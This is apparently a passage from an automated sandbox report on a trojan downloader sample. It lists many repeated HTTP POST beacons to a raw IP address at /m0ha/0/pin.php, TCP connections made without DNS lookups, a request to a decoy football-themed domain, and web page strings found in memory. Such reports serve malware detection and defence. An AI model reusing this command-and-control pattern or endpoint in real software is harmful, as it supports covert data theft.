Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /m0ha/0/pin.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 87.251.79.157Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 6DBE4C7CContent-Length: 165Connection: close

Source: unknown

HTTPS traffic detected: 172.67.197.219:443 -> 192.168.2.5:49692 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.251.79.157

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_00404ED4 recv,

Source: global traffic

HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-0E44846E8DBE171CF83840F8DBF160DC.html HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: liverpooldabestteamoftheworld.comConnection: Keep-Alive

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: <footer><ul id="section-links"><li><a href="https://www.liverpool.com/liverpool-fc-news/" data-link-tracking="Footer\|Liverpool FC News">Liverpool FC News</a></li><li><a href="https://www.liverpool.com/schedule/" data-link-tracking="Footer\|Schedule">Schedule</a></li><li><a href="https://www.liverpool.com/liverpool-fc-news/features/" data-link-tracking="Footer\|Features">Features</a></li><li><a href="https://www.liverpool.com/all-about/premier-league" data-link-tracking="Footer\|Premier League">Premier League</a></li></ul><div class="social-links"><h4>Follow us<ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|bottom"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|bottom"></a></li></ul></h4></div><div class="kitemarks"><div class="ipso"></div></div><ul id="utility-links"><li><div itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/NewsMediaOrganization"><meta itemprop="publishingPrinciples" content="https://www.liverpool.com/about-us/"><meta itemprop="name" content="Liverpool.com"><meta itemprop="url" content="https://www.liverpool.com/"><div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/publications/liverpool/img/logo-liverpool.png"></div></div><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/rules/">Competition Rules</a></li><li><a href="https://www.liverpool.com/how-to-complain/">How to Complain</a></li><li><a href="https://www.liverpool.com/corrections-clarifications/">Corrections & Clarifications</a></li><li><a href="https://www.liverpool.com/privacy-notice/">Privacy Notice</a></li><li><a href="https://www.liverpool.com"> equals www.facebook.com (Facebook)
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.299483958.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: <footer><ul id="section-links"><li><a href="https://www.liverpool.com/liverpool-fc-news/" data-link-tracking="Footer\|Liverpool FC News">Liverpool FC News</a></li><li><a href="https://www.liverpool.com/schedule/" data-link-tracking="Footer\|Schedule">Schedule</a></li><li><a href="https://www.liverpool.com/liverpool-fc-news/features/" data-link-tracking="Footer\|Features">Features</a></li><li><a href="https://www.liverpool.com/all-about/premier-league" data-link-tracking="Footer\|Premier League">Premier League</a></li></ul><div class="social-links"><h4>Follow us<ul><li class="follow hidden"><span class="follow-text publication-theme">Follow us</span></li><li><a class="icon facebook" title="facebook" href="https://www.facebook.com/liverpooldotcom" target="_blank" data-provider="facebook" data-tracking="facebook\|follow\|bottom"></a></li><li><a class="icon twitter" title="twitter" href="https://twitter.com/liverpoolcom_" target="_blank" data-provider="twitter" data-tracking="twitter\|follow\|bottom"></a></li></ul></h4></div><div class="kitemarks"><div class="ipso"></div></div><ul id="utility-links"><li><div itemprop="publisher" itemscope="itemscope" itemtype="https://schema.org/NewsMediaOrganization"><meta itemprop="publishingPrinciples" content="https://www.liverpool.com/about-us/"><meta itemprop="name" content="Liverpool.com"><meta itemprop="url" content="https://www.liverpool.com/"><div itemprop="logo" itemscope="itemscope" itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://s2-prod.liverpool.com/@trinitymirrordigital/chameleon-branding/publications/liverpool/img/logo-liverpool.png"></div></div><a href="https://www.liverpool.com/about-us/">About Us</a></li><li><a href="https://www.liverpool.com/contact-us/">Contact Us</a></li><li><a href="https://www.liverpool.com/rss-feeds/">RSS Feeds</a></li><li><a href="https://www.liverpool.com/terms-conditions/">T&Cs</a></li><li><a href="https://www.liverpool.com/cookie-policy/">Cookie Policy</a></li><li><a href="https://www.liverpool.com/rules/">Competition Rules</a></li><li><a href="https://www.liverpool.com/how-to-complain/">How to Complain</a></li><li><a href="https://www.liverpool.com/corrections-clarifications/">Corrections & 